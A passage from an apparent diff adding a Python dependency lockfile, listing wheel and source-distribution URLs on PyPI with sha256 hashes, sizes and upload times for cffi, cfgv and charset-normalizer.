"https://files.pythonhosted.org/packages/7b/2b/2b6435f76bfeb6bbf055596976da087377ede68df465419d192acf00c437/cffi-2.0.0-cp312-cp312-win32.whl", hash = "sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18", size = 172932, upload-time = "2025-09-08T23:22:57.188Z" }, + { url = "https://files.pythonhosted.org/packages/f8/ed/13bd4418627013bec4ed6e54283b1959cf6db888048c7cf4b4c3b5b36002/cffi-2.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5", size = 183557, upload-time = "2025-09-08T23:22:58.351Z" }, + { url = "https://files.pythonhosted.org/packages/95/31/9f7f93ad2f8eff1dbc1c3656d7ca5bfd8fb52c9d786b4dcf19b2d02217fa/cffi-2.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6", size = 177762, upload-time = "2025-09-08T23:22:59.668Z" }, + { url = "https://files.pythonhosted.org/packages/4b/8d/a0a47a0c9e413a658623d014e91e74a50cdd2c423f7ccfd44086ef767f90/cffi-2.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb", size = 185230, upload-time = "2025-09-08T23:23:00.879Z" }, + { url = "https://files.pythonhosted.org/packages/4a/d2/a6c0296814556c68ee32009d9c2ad4f85f2707cdecfd7727951ec228005d/cffi-2.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca", size = 181043, upload-time = "2025-09-08T23:23:02.231Z" }, + { url = "https://files.pythonhosted.org/packages/b0/1e/d22cc63332bd59b06481ceaac49d6c507598642e2230f201649058a7e704/cffi-2.0.0-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b", size = 212446, upload-time = "2025-09-08T23:23:03.472Z" }, + { url = "https://files.pythonhosted.org/packages/a9/f5/a2c23eb03b61a0b8747f211eb716446c826ad66818ddc7810cc2cc19b3f2/cffi-2.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b", size = 220101, upload-time = "2025-09-08T23:23:04.792Z" }, + { url = "https://files.pythonhosted.org/packages/f2/7f/e6647792fc5850d634695bc0e6ab4111ae88e89981d35ac269956605feba/cffi-2.0.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2", size = 207948, upload-time = "2025-09-08T23:23:06.127Z" }, + { url = "https://files.pythonhosted.org/packages/cb/1e/a5a1bd6f1fb30f22573f76533de12a00bf274abcdc55c8edab639078abb6/cffi-2.0.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3", size = 206422, upload-time = "2025-09-08T23:23:07.753Z" }, + { url = "https://files.pythonhosted.org/packages/98/df/0a1755e750013a2081e863e7cd37e0cdd02664372c754e5560099eb7aa44/cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26", size = 219499, upload-time = "2025-09-08T23:23:09.648Z" }, + { url = "https://files.pythonhosted.org/packages/50/e1/a969e687fcf9ea58e6e2a928ad5e2dd88cc12f6f0ab477e9971f2309b57c/cffi-2.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c", size = 222928, upload-time = "2025-09-08T23:23:10.928Z" }, + { url = "https://files.pythonhosted.org/packages/36/54/0362578dd2c9e557a28ac77698ed67323ed5b9775ca9d3fe73fe191bb5d8/cffi-2.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b", size = 221302, upload-time = "2025-09-08T23:23:12.42Z" }, + { url = "https://files.pythonhosted.org/packages/eb/6d/bf9bda840d5f1dfdbf0feca87fbdb64a918a69bca42cfa0ba7b137c48cb8/cffi-2.0.0-cp313-cp313-win32.whl", hash = "sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27", size = 172909, upload-time = "2025-09-08T23:23:14.32Z" }, + { url = "https://files.pythonhosted.org/packages/37/18/6519e1ee6f5a1e579e04b9ddb6f1676c17368a7aba48299c3759bbc3c8b3/cffi-2.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75", size = 183402, upload-time = "2025-09-08T23:23:15.535Z" }, + { url = "https://files.pythonhosted.org/packages/cb/0e/02ceeec9a7d6ee63bb596121c2c8e9b3a9e150936f4fbef6ca1943e6137c/cffi-2.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91", size = 177780, upload-time = "2025-09-08T23:23:16.761Z" }, + { url = "https://files.pythonhosted.org/packages/92/c4/3ce07396253a83250ee98564f8d7e9789fab8e58858f35d07a9a2c78de9f/cffi-2.0.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5", size = 185320, upload-time = "2025-09-08T23:23:18.087Z" }, + { url = "https://files.pythonhosted.org/packages/59/dd/27e9fa567a23931c838c6b02d0764611c62290062a6d4e8ff7863daf9730/cffi-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13", size = 181487, upload-time = "2025-09-08T23:23:19.622Z" }, + { url = "https://files.pythonhosted.org/packages/d6/43/0e822876f87ea8a4ef95442c3d766a06a51fc5298823f884ef87aaad168c/cffi-2.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b", size = 220049, upload-time = "2025-09-08T23:23:20.853Z" }, + { url = "https://files.pythonhosted.org/packages/b4/89/76799151d9c2d2d1ead63c2429da9ea9d7aac304603de0c6e8764e6e8e70/cffi-2.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c", size = 207793, upload-time = "2025-09-08T23:23:22.08Z" }, + { url = "https://files.pythonhosted.org/packages/bb/dd/3465b14bb9e24ee24cb88c9e3730f6de63111fffe513492bf8c808a3547e/cffi-2.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef", size = 206300, upload-time = "2025-09-08T23:23:23.314Z" }, + { url = "https://files.pythonhosted.org/packages/47/d9/d83e293854571c877a92da46fdec39158f8d7e68da75bf73581225d28e90/cffi-2.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775", size = 219244, upload-time = "2025-09-08T23:23:24.541Z" }, + { url = "https://files.pythonhosted.org/packages/2b/0f/1f177e3683aead2bb00f7679a16451d302c436b5cbf2505f0ea8146ef59e/cffi-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205", size = 222828, upload-time = "2025-09-08T23:23:26.143Z" }, + { url = "https://files.pythonhosted.org/packages/c6/0f/cafacebd4b040e3119dcb32fed8bdef8dfe94da653155f9d0b9dc660166e/cffi-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1", size = 220926, upload-time = "2025-09-08T23:23:27.873Z" }, + { url = "https://files.pythonhosted.org/packages/3e/aa/df335faa45b395396fcbc03de2dfcab242cd61a9900e914fe682a59170b1/cffi-2.0.0-cp314-cp314-win32.whl", hash = "sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f", size = 175328, upload-time = "2025-09-08T23:23:44.61Z" }, + { url = "https://files.pythonhosted.org/packages/bb/92/882c2d30831744296ce713f0feb4c1cd30f346ef747b530b5318715cc367/cffi-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25", size = 185650, upload-time = "2025-09-08T23:23:45.848Z" }, + { url = "https://files.pythonhosted.org/packages/9f/2c/98ece204b9d35a7366b5b2c6539c350313ca13932143e79dc133ba757104/cffi-2.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad", size = 180687, upload-time = "2025-09-08T23:23:47.105Z" }, + { url = "https://files.pythonhosted.org/packages/3e/61/c768e4d548bfa607abcda77423448df8c471f25dbe64fb2ef6d555eae006/cffi-2.0.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9", size = 188773, upload-time = "2025-09-08T23:23:29.347Z" }, + { url = "https://files.pythonhosted.org/packages/2c/ea/5f76bce7cf6fcd0ab1a1058b5af899bfbef198bea4d5686da88471ea0336/cffi-2.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d", size = 185013, upload-time = "2025-09-08T23:23:30.63Z" }, + { url = "https://files.pythonhosted.org/packages/be/b4/c56878d0d1755cf9caa54ba71e5d049479c52f9e4afc230f06822162ab2f/cffi-2.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c", size = 221593, upload-time = "2025-09-08T23:23:31.91Z" }, + { url = "https://files.pythonhosted.org/packages/e0/0d/eb704606dfe8033e7128df5e90fee946bbcb64a04fcdaa97321309004000/cffi-2.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8", size = 209354, upload-time = "2025-09-08T23:23:33.214Z" }, + { url = "https://files.pythonhosted.org/packages/d8/19/3c435d727b368ca475fb8742ab97c9cb13a0de600ce86f62eab7fa3eea60/cffi-2.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc", size = 208480, upload-time = "2025-09-08T23:23:34.495Z" }, + { url = "https://files.pythonhosted.org/packages/d0/44/681604464ed9541673e486521497406fadcc15b5217c3e326b061696899a/cffi-2.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592", size = 221584, upload-time = "2025-09-08T23:23:36.096Z" }, + { url = "https://files.pythonhosted.org/packages/25/8e/342a504ff018a2825d395d44d63a767dd8ebc927ebda557fecdaca3ac33a/cffi-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512", size = 224443, upload-time = "2025-09-08T23:23:37.328Z" }, + { url = "https://files.pythonhosted.org/packages/e1/5e/b666bacbbc60fbf415ba9988324a132c9a7a0448a9a8f125074671c0f2c3/cffi-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4", size = 223437, upload-time = "2025-09-08T23:23:38.945Z" }, + { url = "https://files.pythonhosted.org/packages/a0/1d/ec1a60bd1a10daa292d3cd6bb0b359a81607154fb8165f3ec95fe003b85c/cffi-2.0.0-cp314-cp314t-win32.whl", hash = "sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e", size = 180487, upload-time = "2025-09-08T23:23:40.423Z" }, + { url = "https://files.pythonhosted.org/packages/bf/41/4c1168c74fac325c0c8156f04b6749c8b6a8f405bbf91413ba088359f60d/cffi-2.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6", size = 191726, upload-time = "2025-09-08T23:23:41.742Z" }, + { url = "https://files.pythonhosted.org/packages/ae/3a/dbeec9d1ee0844c679f6bb5d6ad4e9f198b1224f4e7a32825f47f6192b0c/cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9", size = 184195, upload-time = "2025-09-08T23:23:43.004Z" }, +] + +[[package]] +name = "cfgv" +version = "3.4.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/11/74/539e56497d9bd1d484fd863dd69cbbfa653cd2aa27abfe35653494d85e94/cfgv-3.4.0.tar.gz", hash = "sha256:e52591d4c5f5dead8e0f673fb16db7949d2cfb3f7da4582893288f0ded8fe560", size = 7114, upload-time = "2023-08-12T20:38:17.776Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c5/55/51844dd50c4fc7a33b653bfaba4c2456f06955289ca770a5dbd5fd267374/cfgv-3.4.0-py2.py3-none-any.whl", hash = "sha256:b7265b1f29fd3316bfcd2b330d63d024f2bfd8bcb8b0272f8e19a504856c48f9", size = 7249, upload-time = "2023-08-12T20:38:16.269Z" }, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e4/33/89c2ced2b67d1c2a61c19c6751aa8902d46ce3dacb23600a283619f5a12d/charset_normalizer-3.4.2.tar.gz", hash = "sha256:5baececa9ecba31eff645232d59845c07aa030f0c81ee70184a90d35099a0e63", size = 126367, upload-time = "2025-05-02T08:34:42.01Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/95/28/9901804da60055b406e1a1c5ba7aac1276fb77f1dde635aabfc7fd84b8ab/charset_normalizer-3.4.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:7c48ed483eb946e6c04ccbe02c6b4d1d48e51944b6db70f697e089c193404941", size = 201818, upload-time = "2025-05-02T08:31:46.725Z" }, + { url = "https://files.pythonhosted.org/packages/d9/9b/892a8c8af9110935e5adcbb06d9c6fe741b6bb02608c6513983048ba1a18/charset_normalizer-3.4.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b2d318c11350e10662026ad0eb71bb51c7812fc8590825304ae0bdd4ac283acd", size = 144649, upload-time = "2025-05-02T08:31:48.889Z" }, + { url = "https://files.pythonhosted.org/packages/7b/a5/4179abd063ff6414223575e008593861d62abfc22455b5d1a44995b7c101/charset_normalizer-3.4.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9cbfacf36cb0ec2897ce0ebc5d08ca44213af24265bd56eca54bee7923c48fd6", size = 155045, upload-time = "2025-05-02T08:31:50.757Z" }, + { url = "https://files.pythonhosted.org/packages/3b/95/bc08c7dfeddd26b4be8c8287b9bb055716f31077c8b0ea1cd09553794665/charset_normalizer-3.4.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:18dd2e350387c87dabe711b86f83c9c78af772c748904d372ade190b5c7c9d4d", size = 147356, upload-time = "2025-05-02T08:31:52.634Z" }, + { url = "https://files.pythonhosted.org/packages/a8/2d/7a5b635aa65284bf3eab7653e8b4151ab420ecbae918d3e359d1947b4d61/charset_normalizer-3.4.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8075c35cd58273fee266c58c0c9b670947c19df5fb98e7b66710e04ad4e9ff86", size = 149471, upload-time = "2025-05-02T08:31:56.207Z" }, + { url = "https://files.pythonhosted.org/packages/ae/38/51fc6ac74251fd331a8cfdb7ec57beba8c23fd5493f1050f71c87ef77ed0/charset_normalizer-3.4.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5bf4545e3b962767e5c06fe1738f951f77d27967cb2caa64c28be7c4563e162c", size = 151317, upload-time = "2025-05-02T08:31:57.613Z" }, + { url = "https://files.pythonhosted.org/packages/b7/17/edee1e32215ee6e9e46c3e482645b46575a44a2d72c7dfd49e49f60ce6bf/charset_normalizer-3.4.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:7a6ab32f7210554a96cd9e33abe3ddd86732beeafc7a28e9955cdf22ffadbab0", size = 146368, upload-time = "2025-05-02T08:31:59.468Z" }, + { url = "https://files.pythonhosted.org/packages/26/2c/ea3e66f2b5f21fd00b2825c94cafb8c326ea6240cd80a91eb09e4a285830/charset_normalizer-3.4.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:b33de11b92e9f75a2b545d6e9b6f37e398d86c3e9e9653c4864eb7e89c5773ef", size = 154491, upload-time = "2025-05-02T08:32:01.219Z" }, + { url = "https://files.pythonhosted.org/packages/52/47/7be7fa972422ad062e909fd62460d45c3ef4c141805b7078dbab15904ff7/charset_normalizer-3.4.2-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:8755483f3c00d6c9a77f490c17e6ab0c8729e39e6390328e42521ef175380ae6", size = 157695, upload-time = "2025-05-02T08:32:03.045Z" }, + { url = "https://files.pythonhosted.org/packages/2f/42/9f02c194da282b2b340f28e5fb60762de1151387a36842a92b533685c61e/charset_normalizer-3.4.2-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:68a328e5f55ec37c57f19ebb1fdc56a248db2e3e9ad769919a58672958e8f366", size = 154849, upload-time = "2025-05-02T08:32:04.651Z" }, + { url = "https://files.pythonhosted.org/packages/67/44/89cacd6628f31fb0b63201a618049be4be2a7435a31b55b5eb1c3674547a/charset_normalizer-3.4.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:21b2899062867b0e1fde9b724f8aecb1af14f2778d69aacd1a5a1853a597a5db", size = 150091, upload-time = "2025-05-02T08:32:06.719Z" }, + { url = "https://files.pythonhosted.org/packages/1f/79/4b8da9f712bc079c0f16b6d67b099b0b8d808c2292c937f267d816ec5ecc/charset_normalizer-3.4.2-cp310-cp310-win32.whl", hash = "sha256:e8082b26888e2f8b36a042a58307d5b917ef2b1cacab921ad3323ef91901c71a", size = 98445, upload-time = "2025-05-02T08:32:08.66Z" }, + { url = "https://files.pythonhosted.org/packages/7d/d7/96970afb4fb66497a40761cdf7bd4f6fca0fc7bafde3a84f836c1f57a926/charset_normalizer-3.4.2-cp310-cp310-win_amd64.whl", hash = "sha256:f69a27e45c43520f5487f27627059b64aaf160415589230992cec34c5e18a509", size = 105782, upload-time = "2025-05-02T08:32:10.46Z" }, + { url = "https://files.pythonhosted.org/packages/05/85/4c40d00dcc6284a1c1ad5de5e0996b06f39d8232f1031cd23c2f5c07ee86/charset_normalizer-3.4.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:be1e352acbe3c78727a16a455126d9ff83ea2dfdcbc83148d2982305a04714c2", size = 198794, upload-time = "2025-05-02T08:32:11.945Z" }, + { url = "https://files.pythonhosted.org/packages/41/d9/7a6c0b9db952598e97e93cbdfcb91bacd89b9b88c7c983250a77c008703c/charset_normalizer-3.4.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa88ca0b1932e93f2d961bf3addbb2db902198dca337d88c89e1559e066e7645", size = 142846, upload-time = "2025-05-02T08:32:13.946Z" }, + { url = "https://files.pythonhosted.org/packages/66/82/a37989cda2ace7e37f36c1a8ed16c58cf48965a79c2142713244bf945c89/charset_normalizer-3.4.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d524ba3f1581b35c03cb42beebab4a13e6cdad7b36246bd22541fa585a56cccd", size = 153350, upload-time = "2025-05-02T08:32:15.873Z" }, + { url = "https://files.pythonhosted.org/packages/df/68/a576b31b694d07b53807269d05ec3f6f1093e9545e8607121995ba7a8313/charset_normalizer-3.4.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:28a1005facc94196e1fb3e82a3d442a9d9110b8434fc1ded7a24a2983c9888d8", size = 145657, upload-time = "2025-05-02T08:32:17.283Z" }, + { url = "https://files.pythonhosted.org/packages/92/9b/ad67f03d74554bed3aefd56fe836e1623a50780f7c998d00ca128924a499/charset_normalizer-3.4.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fdb20a30fe1175ecabed17cbf7812f7b804b8a315a25f24678bcdf120a90077f", size = 147260, upload-time = "2025-05-02T08:32:18.807Z" }, + { url = "https://files.pythonhosted.org/packages/a6/e6/8aebae25e328160b20e31a7e9929b1578bbdc7f42e66f46595a432f8539e/charset_normalizer-3.4.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0f5d9ed7f254402c9e7d35d2f5972c9bbea9040e99cd2861bd77dc68263277c7", size = 149164, upload-time = "2025-05-02T08:32:20.333Z" }, + { url = "https://files.pythonhosted.org/packages/8b/f2/b3c2f07dbcc248805f10e67a0262c93308cfa149a4cd3d1fe01f593e5fd2/charset_normalizer-3.4.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:efd387a49825780ff861998cd959767800d54f8308936b21025326de4b5a42b9", size = 144571, upload-time = "2025-05-02T08:32:21.86Z" }, + { url = "https://files.pythonhosted.org/packages/60/5b/c3f3a94bc345bc211622ea59b4bed9ae63c00920e2e8f11824aa5708e8b7/charset_normalizer-3.4.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:f0aa37f3c979cf2546b73e8222bbfa3dc07a641585340179d768068e3455e544", size = 151952, upload-time = "2025-05-02T08:32:23.434Z" }, + { url = "https://files.pythonhosted.org/packages/e2/4d/ff460c8b474122334c2fa394a3f99a04cf11c646da895f81402ae54f5c42/charset_normalizer-3.4.2-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:e70e990b2137b29dc5564715de1e12701815dacc1d056308e2b17e9095372a82", size = 155959, upload-time = "2025-05-02T08:32:24.993Z" }, + { url = "https://files.pythonhosted.org/packages/a2/2b/b964c6a2fda88611a1fe3d4c400d39c66a42d6c169c924818c848f922415/charset_normalizer-3.4.2-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:0c8c57f84ccfc871a48a47321cfa49ae1df56cd1d965a09abe84066f6853b9c0", size = 153030, upload-time = "2025-05-02T08:32:26.435Z" }, + { url = "https://files.pythonhosted.org/packages/59/2e/d3b9811db26a5ebf444bc0fa4f4be5aa6d76fc6e1c0fd537b16c14e849b6/charset_normalizer-3.4.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:6b66f92b17849b85cad91259efc341dce9c1af48e2173bf38a85c6329f1033e5", size = 148015, upload-time = "2025-05-02T08:32:28.376Z" }, + { url = "https://files.pythonhosted.org/packages/90/07/c5fd7c11eafd561bb51220d600a788f1c8d77c5eef37ee49454cc5c35575/charset_normalizer-3.4.2-cp311-cp311-win32.whl", hash = "sha256:daac4765328a919a805fa5e2720f3e94767abd632ae410a9062dff5412bae65a", size = 98106, upload-time = "2025-05-02T08:32:30.281Z" }, + { url = "https://files.pythonhosted.org/packages/a8/05/5e33dbef7e2f773d672b6d79f10ec633d4a71cd96db6673625838a4fd532/charset_normalizer-3.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:e53efc7c7cee4c1e70661e2e112ca46a575f90ed9ae3fef200f2a25e954f4b28", size = 105402, upload-time = "2025-05-02T08:32:32.191Z" }, + { url = "https://files.pythonhosted.org/packages/d7/a4/37f4d6035c89cac7930395a35cc0f1b872e652eaafb76a6075943754f095/charset_normalizer-3.4.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0c29de6a1a95f24b9a1aa7aefd27d2487263f00dfd55a77719b530788f75cff7", size = 199936, upload-time = "2025-05-02T08:32:33.712Z" }, + { url = "https://files.pythonhosted.org/packages/ee/8a/1a5e33b73e0d9287274f899d967907cd0bf9c343e651755d9307e0dbf2b3/charset_normalizer-3.4.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cddf7bd982eaa998934a91f69d182aec997c6c468898efe6679af88283b498d3", size = 143790, upload-time = "2025-05-02T08:32:35.768Z" }, + { url = "https://files.pythonhosted.org/packages/66/52/59521f1d8e6ab1482164fa21409c5ef44da3e9f653c13ba71becdd98dec3/charset_normalizer-3.4.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fcbe676a55d7445b22c10967bceaaf0ee69407fbe0ece4d032b6eb8d4565982a", size = 153924, upload-time = "2025-05-02T08:32:37.284Z" }, + { url = "https://files.pythonhosted.org/packages/86/2d/fb55fdf41964ec782febbf33cb64be480a6b8f16ded2dbe8db27a405c09f/charset_normalizer-3.4.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d41c4d287cfc69060fa91cae9683eacffad989f1a10811995fa309df656ec214", size = 146626, upload-time = "2025-05-02T08:32:38.803Z" }, + { url = "https://files.pythonhosted.org/packages/8c/73/6ede2ec59bce19b3edf4209d70004253ec5f4e319f9a2e3f2f15601ed5f7/charset_normalizer-3.4.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4e594135de17ab3866138f496755f302b72157d115086d100c3f19370839dd3a", size = 148567, upload-time = "2025-05-02T08:32:40.251Z" }, + { url = "https://files.pythonhosted.org/packages/09/14/957d03c6dc343c04904530b6bef4e5efae5ec7d7990a7cbb868e4595ee30/charset_normalizer-3.4.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cf713fe9a71ef6fd5adf7a79670135081cd4431c2943864757f0fa3a65b1fafd", size = 150957, upload-time = "2025-05-02T08:32:41.705Z" }, + { url = "https://files.pythonhosted.org/packages/0d/c8/8174d0e5c10ccebdcb1b53cc959591c4c722a3ad92461a273e86b9f5a302/charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a370b3e078e418187da8c3674eddb9d983ec09445c99a3a263c2011993522981", size = 145408, upload-time = "2025-05-02T08:32:43.709Z" }, + { url = "https://files.pythonhosted.org/packages/58/aa/8904b84bc8084ac19dc52feb4f5952c6df03ffb460a887b42615ee1382e8/charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a955b438e62efdf7e0b7b52a64dc5c3396e2634baa62471768a64bc2adb73d5c", size = 153399, upload-time = "2025-05-02T08:32:46.197Z" }, + { url = "https://files.pythonhosted.org/packages/c2/26/89ee1f0e264d201cb65cf054aca6038c03b1a0c6b4ae998070392a3ce605/charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:7222ffd5e4de8e57e03ce2cef95a4c43c98fcb72ad86909abdfc2c17d227fc1b", size = 156815, upload-time = "2025-05-02T08:32:48.105Z" }, + { url = "https://files.pythonhosted.org/packages/fd/07/68e95b4b345bad3dbbd3a8681737b4338ff2c9df29856a6d6d23ac4c73cb/charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:bee093bf902e1d8fc0ac143c88902c3dfc8941f7ea1d6a8dd2bcb786d33db03d", size = 154537, upload-time = "2025-05-02T08:32:49.719Z" }, + { url = "https://files.pythonhosted.org/packages/77/1a/5eefc0ce04affb98af07bc05f3bac9094513c0e23b0562d64af46a06aae4/charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:dedb8adb91d11846ee08bec4c8236c8549ac721c245678282dcb06b221aab59f", size = 149565, upload-time = "2025-05-02T08:32:51.404Z" }, + { url = "https://files.pythonhosted.org/packages/37/a0/2410e5e6032a174c95e0806b1a6585eb21e12f445ebe239fac441995226a/charset_normalizer-3.4.2-cp312-cp312-win32.whl", hash = "sha256:db4c7bf0e07fc3b7d89ac2a5880a6a8062056801b83ff56d8464b70f65482b6c", size = 98357, upload-time = "2025-05-02T08:32:53.079Z" }, + { url = "https://files.pythonhosted.org/packages/6c/4f/c02d5c493967af3eda9c771ad4d2bbc8df6f99ddbeb37ceea6e8716a32bc/charset_normalizer-3.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:5a9979887252a82fefd3d3ed2a8e3b937a7a809f65dcb1e068b090e165bbe99e", size = 105776, upload-time = "2025-05-02T08:32:54.573Z" }, + { url = "https://files.pythonhosted.org/packages/ea/12/a93df3366ed32db1d907d7593a94f1fe6293903e3e92967bebd6950ed12c/charset_normalizer-3.4.2-cp313-cp313-macosx_10_13_universal2.whl", hash = 